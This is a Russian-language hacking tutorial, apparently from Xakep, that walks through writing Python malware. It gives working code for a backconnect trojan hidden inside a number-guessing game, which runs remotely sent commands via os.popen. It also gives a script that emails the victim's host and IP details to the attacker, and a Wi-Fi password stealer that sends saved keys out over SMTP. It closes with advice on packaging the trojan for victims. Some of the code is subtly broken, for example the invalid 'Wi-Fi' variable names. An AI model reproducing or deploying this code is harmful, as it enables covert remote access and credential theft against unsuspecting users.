Зачем кому-то писать вредоносное ПО на Python? Мы собираемся сделать это, чтобы изучить общие принципы разработки вредоносных программ, а в то же время вы сможете попрактиковаться в использовании этого языка и применить полученные знания для других целей. Кроме того, вредоносное ПО Python встречается в естественных условиях, и не все программы защиты от вирусов обращают на него внимание.
Конечно, приведенные в статье скрипты никоим образом не подходят для использования в боевых условиях — в них нет обфускации, принципы работы просты, как дважды два, и нет никаких вредоносных функций. Однако проявив немного изобретательности, их можно использовать для простых грязных уловок — например, выключения чьего-либо компьютера в классе или в офисе.
Теория
Так что же такое троян? Вирус — это программа, основная задача которой — копировать самого себя. Червь активно распространяется по сети (типичные примеры — Petya и WannaCry), а троян — это скрытая вредоносная программа, маскирующаяся под «хорошее» ПО.
Логика такого заражения заключается в том, что пользователь сам загружает вредоносное ПО на свой компьютер (например, под видом неработающей программы), сам отключает механизмы защиты (в конце концов, программа выглядит нормально) и хочет оставить его на долгое время. Хакеры здесь тоже не спят, поэтому время от времени появляются новости о новых жертвах пиратского программного обеспечения и программ-вымогателей, нацеленных на любителей халявы. Но мы знаем, что бесплатный сыр можно найти только в мыеловке, и сегодня мы очень легко научимся заполнять этот сыр чем-то неожиданным.
Определяем IP
Во-первых, нам (то есть нашему трояну) нужно определить, где он оказался. Важной частью вашей информации является IP-адрес, который вы можете использовать для подключения к зараженному компьютеру в будущем.
Начнем писать код. Сразу импортируем библиотеки:
import socket
from requests import get
Обе библиотеки не поставляются с Python, поэтому, если они у тебя отсутствуют, их нужно установить командой pip
.
pip install socket
pip install requests
Код получения внешнего и внутреннего адресов будет таким. Обрати внимание, что, если у жертвы несколько сетевых интерфейсов (например, Wi-Fi и Ethernet одновременно), этот код может вести себя неправильно.
# Определяем имя устройства в сети
hostname = socket.gethostname()
# Определяем локальный (внутри сети) IP-адрес
local_ip = socket.gethostbyname(hostname)
# Определяем глобальный (публичный / в интернете) IP-адрес
public_ip = get('http://api.ipify.org').text
Если с локальным адресом все более‑менее просто — находим имя устройства в сети и смотрим IP по имени устройства, — то вот с публичным IP все немного сложнее.
Я выбрал сайт api.
, так как на выходе нам выдается только одна строка — наш внешний IP. Из связки публичный + локальный IP мы получим почти точный адрес устройства.
Вывести информацию еще проще:
print(f'Хост: {hostname}')
print(f'Локальный IP: {local_ip}')
print(f'Публичный IP: {public_ip}')
Никогда не встречал конструкции типа print(
? Буква f
означает форматированные строковые литералы. Простыми словами — программные вставки прямо в строку.
Строковые литералы не только хорошо смотрятся в вашем коде, они также помогают избежать таких ошибок, как сложение строк и добавление чисел (Python это не JavaScript!).
Финальный код:
import socket
from requests import get
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
public_ip = get('http://api.ipify.org').text
print(f'Хост: {hostname}')
print(f'Локальный IP: {local_ip}')
print(f'Публичный IP: {public_ip}')
Запустив этот скрипт, мы сможем определить IP-адрес нашего (или чужого) компьютера.
Бэкконнект по почте
Теперь напишем скрипт, который будет присылать нам письмо.
Импорт новых библиотек (обе нужно предварительно поставить через pip
):
import smtplib as smtp
from getpass import getpass
Пишем базовую информацию о себе:
# Почта, с которой будет отправлено письмо
email = 'xakepmail@yandex.ru'
# Пароль от нее (вместо ***)
password = '***'
# Почта, на которую отправляем письмо
dest_email = 'demo@xakep.ru'
# Тема письма
subject = 'IP'
# Текст письма
email_text = 'TEXT'
Дальше сформируем письмо:
message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)
Последний штрих — настроить подключение к почтовому сервису. Я пользуюсь Яндекс.Почтой, поэтому настройки выставлял для нее.
server = smtp.SMTP_SSL('smtp.yandex.com') # SMTP-сервер Яндекса
server.set_debuglevel(1) # Минимизируем вывод ошибок (выводим только фатальные ошибки)
server.ehlo(email) # Отправляем hello-пакет на сервер
server.login(email, password) # Заходим на почту, с которой будем отправлять письмо
server.auth_plain() # Авторизуемся
server.sendmail(email, dest_email, message) # Вводим данные для отправки (адреса свой и получателя и само сообщение)
server.quit() # Отключаемся от сервера
В строке server.
мы используем команду EHLO
. Большинство серверов SMTP поддерживают ESMTP
и EHLO
. Если сервер, к которому ты пытаешься подключиться, не поддерживает EHLO
, можно использовать HELO
.
Полный код этой части трояна:
import smtplib as smtp
import socket
from getpass import getpass
from requests import get
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
public_ip = get('http://api.ipify.org').text
email = 'xakepmail@yandex.ru'
password = '***'
dest_email = 'demo@xakep.ru'
subject = 'IP'
email_text = (f'Host: {hostname}\nLocal IP: {local_ip}\nPublic IP: {public_ip}')
message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)
server = smtp.SMTP_SSL('smtp.yandex.com')
server.set_debuglevel(1)
server.ehlo(email)
server.login(email, password)
server.auth_plain()
server.sendmail(email, dest_email, message)
server.quit()
Запустив этот скрипт, получаем письмо.
Этот скрипт я проверил на VirusTotal. Результат на скрине.
Троян
По задумке, троян представляет собой клиент‑серверное приложение с клиентом на машине атакуемого и сервером на запускающей машине. Должен быть реализован максимальный удаленный доступ к системе.
Как обычно, начнем с библиотек:
import random
import socket
import threading
import os
Для начала напишем игру «Угадай число». Тут все крайне просто, поэтому задерживаться долго не буду.
# Создаем функцию игры
def game():
# Берем случайное число от 0 до 1000
number = random.randint(0, 1000)
# Счетчик попыток
tries = 1
# Флаг завершения игры
done = False
# Пока игра не закончена, просим ввести новое число
while not done:
guess = input('Введите число: ')
# Если ввели число
if guess.isdigit():
# Конвертируем его в целое
guess = int(guess)
# Проверяем, совпало ли оно с загаданным; если да, опускаем флаг и пишем сообщение о победе
if guess == number:
done = True
print(f'Ты победил! Я загадал {guess}. Ты использовал {tries} попыток.')
# Если же мы не угадали, прибавляем попытку и проверяем число на больше/меньше
else:
tries += 1
if guess > number:
print('Загаданное число меньше!')
else:
print('Загаданное число больше!')
# Если ввели не число — выводим сообщение об ошибке и просим ввести число заново
else:
print('Это не число от 0 до 1000!')
Вот код нашего трояна. Ниже мы будем разбираться, как он работает, чтобы не проговаривать заново базовые вещи.
# Создаем функцию трояна
def trojan():
# IP-адрес атакуемого
HOST = '192.168.2.112'
# Порт, по которому мы работаем
PORT = 9090
# Создаем эхо-сервер
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((HOST, PORT))
while True:
# Вводим команду серверу
server_command = client.recv(1024).decode('cp866')
# Если команда совпала с ключевым словом 'cmdon', запускаем режим работы с терминалом
if server_command == 'cmdon':
cmd_mode = True
# Отправляем информацию на сервер
client.send('Получен доступ к терминалу'.encode('cp866'))
continue
# Если команда совпала с ключевым словом 'cmdoff', выходим из режима работы с терминалом
if server_command == 'cmdoff':
cmd_mode = False
# Если запущен режим работы с терминалом, вводим команду в терминал через сервер
if cmd_mode:
os.popen(server_command)
# Если же режим работы с терминалом выключен — можно вводить любые команды
else:
if server_command == 'hello':
print('Hello World!')
# Если команда дошла до клиента — выслать ответ
client.send(f'{server_command} успешно отправлена!'.encode('cp866'))
client = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
создает эхо-сервер (отправил запрос — получил ответ). AF_INET
означает работу с адресацией IPv4, а SOCK_STREAM
означает, что мы используем TCP-соединение вместо UDP, когда пакет отправляется в сеть и больше не отслеживается.Функции приема даных
client. connect(( HOST, PORT) )
указывает IP-адрес хоста и порт, по которым будет производиться подключение, и сразу подключается.client.recv (1024)
принимает данные из сокета и является так называемым «блочным вызовом». Смысл такого вызова заключается в том, что до тех пор, пока команда не будет передана или отклонена другой стороной, вызов будет продолжать выполняться. 1024 — это количество байтов, задействованных для приемного буфера. Невозможно принять за один раз более 1024 байтов (1 КБ), но нам это не нужно — часто ли вы вручную вводите в консоль более 1000 символов? Нет необходимости многократно увеличивать размер буфера — это дорого и ненужно, так как вам нужен большой буфер примерно один раз никогда.decode ('cp866')
декодирует полученный байтовый буфер в текстовую строку в соответствии с указанной кодировкой (у нас 866). Но почему именно cp866? Переходим в командную строку и вводим команду chcp
.Wi-Fi-стилер
Задача — создать скрипт, который из командной строки узнает все пароли от доступных сетей Wi-Fi.
Приступаем. Импорт библиотек:
import subprocess
import time
Модуль subprocess
нужен для создания новых процессов и соединения c потоками стандартного ввода‑вывода, а еще для получения кодов возврата от этих процессов.
Итак, скрипт для извлечения паролей Wi-Fi:
# Создаем запрос в командной строке netsh wlan show profiles, декодируя его по кодировке в самом ядре
data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('cp866').split('\n')
# Создаем список всех названий всех профилей сети (имена сетей)
Wi-Fis = [line.split(':')[1][1:-1] for line in data if "Все профили пользователей" in line]
# Для каждого имени...
for Wi-Fi in Wi-Fis:
# ...вводим запрос netsh wlan show profile [ИМЯ_Сети] key=clear
results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', Wi-Fi, 'key=clear']).decode('cp866').split('\n')
# Забираем ключ
results = [line.split(':')[1][1:-1] for line in results if "Содержимое ключа" in line]
# Пытаемся его вывести в командной строке, отсекая все ошибки
try:
print(f'Имя сети: {Wi-Fi}, Пароль: {results[0]}')
except IndexError:
print(f'Имя сети: {Wi-Fi}, Пароль не найден!')
Введя команду netsh
в командной строке, мы получим следующее.
netsh wlan show profiles
Если вы проанализируете вывод выше и замените имя сети в команде netsh wlan show profile [имя сети] key = clear
, результат будет таким, как на изображении. Вы можете проанализировать его и извлечь сетевой пароль.
netsh wlan show profile ASUS key=clear
Результат по VirusTotal
Осталась одна проблема: наша изначальная задумка была забрать пароли себе, а не показывать их пользователю. Исправим же это.
Допишем еще один вариант команды в скрипт, где обрабатываем наши команды из сети.
if server_command == 'Wi-Fi':
data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('cp866').split('\n')
Wi-Fis = [line.split(':')[1][1:-1] for line in data if "Все профили пользователей" in line]
for Wi-Fi in Wi-Fis:
results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', Wi-Fi, 'key=clear']).decode('cp866').split('\n')
results = [line.split(':')[1][1:-1] for line in results if "Содержимое ключа" in line]
try:
email = 'xakepmail@yandex.ru'
password = '***'
dest_email = 'demo@xakep.ru'
subject = 'Wi-Fi'
email_text = (f'Name: {Wi-Fi}, Password: {results[0]}')
message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)
server = smtp.SMTP_SSL('smtp.yandex.com')
server.set_debuglevel(1)
server.ehlo(email)
server.login(email, password)
server.auth_plain()
server.sendmail(email, dest_email, message)
server.quit()
except IndexError:
email = 'xakepmail@yandex.ru'
password = '***'
dest_email = 'demo@xakep.ru'
subject = 'Wi-Fi'
email_text = (f'Name: {Wi-Fi}, Password not found!')
message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)
server = smtp.SMTP_SSL('smtp.yandex.com')
server.set_debuglevel(1)
server.ehlo(email)
server.login(email, password)
server.auth_plain()
server.sendmail(email, dest_email, message)
server.quit()
Этот сценарий очень прост и предполагает наличие русскоязычной системы. Это не будет работать на других языках, но вы можете исправить поведение сценария, просто выбрав разделитель из словаря, где ключ — это язык, найденный на компьютере, а значение — требуемая фраза на требуемом языке.
Все команды этого скрипта уже подробно разобраны, так что я не буду повторяться, а просто покажу скриншот из своей почты.
Результат
Что можно доработать
Конечно, здесь можно улучшить практически все — от защиты канала передачи до защиты самого кода нашего трояна. Способы связи с управляющими серверами злоумышленника также часто используются по-разному, и вредоносная программа не зависит от языка операционной системы.
И, конечно же, очень желательно упаковать сам вирус с помощью PyInstaller, чтобы не перетаскивать Python и все зависимости с собой на машину жертвы. Игра, требующая установки мода для работы с почтой на работе — что может внушить больше доверия?
Итоги
Вышеупомянутые инструменты и подходы научат вас тому, как думают вирусописатели и насколько опасны подозрительные скрипты Python.
Будьте осторожны с зависимостями и малоизвестными пакетами, которые вы вставляете в свои проекты. Не доверяйте запутанному коду и всегда проверяйте код неизвестных библиотек перед запуском.